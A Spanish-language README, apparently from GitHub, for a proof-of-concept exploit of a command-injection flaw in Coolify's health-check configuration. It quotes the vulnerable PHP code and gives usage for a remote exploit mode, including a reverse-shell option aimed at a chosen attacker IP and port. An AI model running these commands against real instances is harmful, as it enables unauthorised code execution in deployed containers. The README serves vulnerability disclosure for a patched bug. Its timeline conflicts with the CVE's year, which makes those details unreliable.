
Inyección de comandos del SO en verificación de estado → Ejecución remota de código
Exploit de Prueba de Concepto para la inyección de comandos del SO en la configuración de health check de Coolify.
Cualquier usuario autenticado podía ejecutar comandos arbitrarios dentro de los contenedores desplegados.
Coolify es una popular plataforma de despliegue autogestionada y de código abierto (más de 30K estrellas en GitHub), una alternativa gratuita a Heroku, Vercel y Netlify.
Se descubrió una vulnerabilidad crítica de Inyección de Comandos del Sistema Operativo en la configuración de health check de Coolify. Los parámetros health_check_host, health_check_method y health_check_path se interpolan directamente en comandos de shell sin ninguna sanitización, lo que permite a cualquier usuario autenticado ejecutar comandos arbitrarios dentro de los contenedores de despliegue.
┌──────────────────┬──────────────────────────────────────┐
│ CVE ID │ CVE-2026-59734 │
│ Type │ OS Command Injection (CWE-78) │
│ Severity │ HIGH — CVSS 8.8 │
│ Attack Vector │ Network (Authenticated) │
│ Affected │ Coolify <= v4.0.0-beta.460 │
│ Fixed In │ Coolify >= v4.0.0-beta.469 │
│ Fix Commit │ 23f9156c7 │
│ Reporter │ CyberTechAjju │
└──────────────────┴──────────────────────────────────────┘
// app/Jobs/ApplicationDeploymentJob.php — generate_healthcheck_commands()
// ⚠️ User input directly in shell command — NO escapeshellarg()!
$generated_healthchecks_commands = [
"curl -s -X {$this->application->health_check_method} -f " .
"{$this->application->health_check_scheme}://" .
"{$this->application->health_check_host}:" .
"{$health_check_port}" .
"{$this->application->health_check_path} > /dev/null || exit 1",
];
Este script de PoC valida y explota CVE-2026-59734 con dos modos:
| Modo | Descripción | Riesgo |
|---|---|---|
--local | Simula el patrón de código vulnerable sin conexión. Sin solicitudes de red. Prueba los 3 parámetros inyectables + verifica la corrección. | ✅ Seguro |
--remote | Explota una instancia real de Coolify a través de la API. Inyecta un payload en la configuración de health check y desencadena el despliegue. | ⚠️ Autenticación requerida |
host, method, path + confirma que la corrección de escapeshellarg() funciona--lhost / --lportgit clone https://github.com/cybertechajju/CVE-2026-59734.git
cd CVE-2026-59734
chmod +x coolify_healthcheck_rce_poc.sh
# Run safe local validation
./coolify_healthcheck_rce_poc.sh --local
Expected Output:
═══ LOCAL VULNERABILITY PATTERN VALIDATION ═══
┌─ Test 1: health_check_host injection
│ ✅ VULNERABLE — Injected command executed successfully
┌─ Test 2: health_check_method injection
│ ✅ VULNERABLE — Method parameter also injectable
┌─ Test 3: health_check_path injection
│ ✅ VULNERABLE — Path parameter also injectable
┌─ Test 4: Verify that escapeshellarg() fixes the issue
│ ✅ SAFE — Sanitized input prevents injection
# Basic PoC — writes proof file inside the container
./coolify_healthcheck_rce_poc.sh --remote \
--url https://your-coolify-instance:3000 \
--token YOUR_API_TOKEN \
--uuid YOUR_APP_UUID
# Reverse shell
./coolify_healthcheck_rce_poc.sh --remote \
--url https://your-coolify-instance:3000 \
--token YOUR_API_TOKEN \
--uuid YOUR_APP_UUID \
--lhost YOUR_IP \
--lport 4444
# With auto-cleanup (restores original config after exploit)
./coolify_healthcheck_rce_poc.sh --remote \
--url https://your-coolify-instance:3000 \
--token YOUR_API_TOKEN \
--uuid YOUR_APP_UUID \
--cleanup
Usage:
Local Validation (safe, offline):
./coolify_healthcheck_rce_poc.sh --local
Remote Exploit (requires auth):
./coolify_healthcheck_rce_poc.sh --remote --url <URL> --token <TOKEN> --uuid <UUID> [OPTIONS]
Options:
--url Coolify instance URL (e.g. https://coolify.example.com)
--token API Bearer token
--uuid Target application UUID
--payload Custom injection payload
--lhost Attacker IP for reverse shell
--lport Attacker port for reverse shell (default: 4444)
--cleanup Restore original config after exploit
Token de API:
UUID de la Aplicación:
curl -s https://YOUR-COOLIFY/api/v1/applications \
-H "Authorization: Bearer YOUR_TOKEN" | jq '.[].uuid'
Escribí una publicación detallada en un blog explicando todo el descubrimiento, explotación y lecciones aprendidas:
Mira la demostración completa de explotación en YouTube:
| Fecha | Evento |
|---|---|
| 6 Ene 2025 | 🔍 Descubierto y reportado a través del Aviso de Seguridad de GitHub |
| 16 Ene 2025 | ✅ Informe aceptado por el mantenedor de Coolify |
| 24 Feb 2025 | 🔬 Investigación confirmada |
| 18 Mar 2025 | 🔧 Corrección aplicada (23f9156c7) |
| 12 Abr 2025 | 📦 Corrección publicada en v4.0.0-beta.469 |
| Jul 2025 | 🏷️ CVE-2026-59734 asignado y aviso publicado |
Esta herramienta se proporciona ÚNICAMENTE CON FINES EDUCATIVOS Y DE PRUEBAS DE SEGURIDAD AUTORIZADAS.
Este PoC está destinado a investigadores de seguridad y cazadores de recompensas para probar sistemas de los que tengan permiso explícito y documentado para auditar. El uso no autorizado contra sistemas que no posees está estrictamente prohibido y puede violar leyes locales, estatales y federales.
El autor (CyberTechAjju) no asume ninguna responsabilidad y no se hace responsable por el mal uso o daño causado por esta herramienta.
| CVE | Objetivo | Tipo | Gravedad |
|---|---|---|---|
| CVE-2026-45156 | Nextcloud user_oidc | Omisión de Firma JWT | 🔴 Crítica (9.8) |
| CVE-2026-59734 | Coolify | Inyección de Comandos del SO | 🟠 Alta (8.8) |
"Se olvidaron de sanitizar. Yo no me olvidé de reportar."
🇮🇳 Hackea el planeta. 🌎💻